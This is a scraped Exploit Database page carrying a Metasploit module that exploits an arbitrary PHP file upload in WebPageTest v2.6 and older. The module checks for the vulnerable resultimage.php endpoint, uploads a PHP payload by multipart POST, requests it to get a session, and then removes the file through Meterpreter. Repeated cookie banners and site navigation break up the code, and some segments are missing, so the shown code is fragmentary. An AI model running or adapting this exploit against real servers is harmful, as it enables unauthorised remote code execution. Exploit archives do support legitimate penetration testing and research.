



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information

 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS

WebPageTest - Arbitrary '.PHP' File Upload (Metasploit)

EDB-ID:

20173

CVE:**EDB Verified:** ✓**Author:**[METASPLOIT](#)**Type:**[WEBAPPS](#)**Exploit:**   / **Cookiebot**
by Usercentrics**This website uses cookies**

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS

```
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name' => "WebPageTest Arbitrary PHP File Upload",
      'Description' => %q{
        This module exploits a vulnerability found in
        WebPageTest's Upload Feature. By
        default, the resultimage.php file does not verify the user-
        supplied item before
        saving it to disk, and then places this item in the web

```

Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```
'DefaultOptions' =>
  {
    'ExitFunction' => "none"
  },
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
  [
    ['WebPageTest v2.6 or older', {}]
  ],
'Privileged' => false,
'DisclosureDate' => "Jul 13 2012",
'DefaultTarget' => 0))

register_options(
  [
    OptString.new('TARGETURI', [true, 'The base path to
WebPageTest', '/www/'])
  ], self.class)

end

def check
  peer = "#{rhost}:#{rport}"
  target_uri.path << '/' if target_uri.path[-1,1] != '/'

```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLIT MANUAL



SUBMISSIONS

```

base = File.dirname("#{target_uri.path}.")

res1 = send_request_raw({'uri'=>"#{base}/index.php"})
res2 = send_request_raw({'uri'=>"#{base}/work/resultimage.php"})

if res1 and res1.body =~ /WebPagetest \- Website Performance and
Optimization Test/ and
  res2 and res2.code == 200
  return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def on_new_session(cli)
  if cli.type != "meterpreter"
    print_error("No automatic cleanup for you. Please manually
remove: #{@target_path}")
    return
  end
  cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
  cli.fs.file.rm(@target_path)
  print_status("#{@target_path} removed")
end

```

Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```

)

print_status("#{peer} - Uploading payload (#{p.length.to_s}
bytes)...")
res = send_request_cgi({
  'method' => 'POST',
  'uri' => "#{base}/work/resultimage.php",
  'ctype' => "multipart/form-data; boundary=#{data.bound}",
  'data' => data.to_s
})

if not res
  print_error("#{peer} - No response from host")
  return
end

@target_path = "#{base}/results/#{fname}"
print_status("#{peer} - Requesting #{@target_path}")
res = send_request_cgi({'uri'=>@target_path})

handler

if res and res.code == 404
  print_error("#{peer} - Payload failed to upload")
end

```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLIT MANUAL

 SUBMISSIONS

end
end

Tags: [Metasploit Framework](#)
([MSF](#))

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >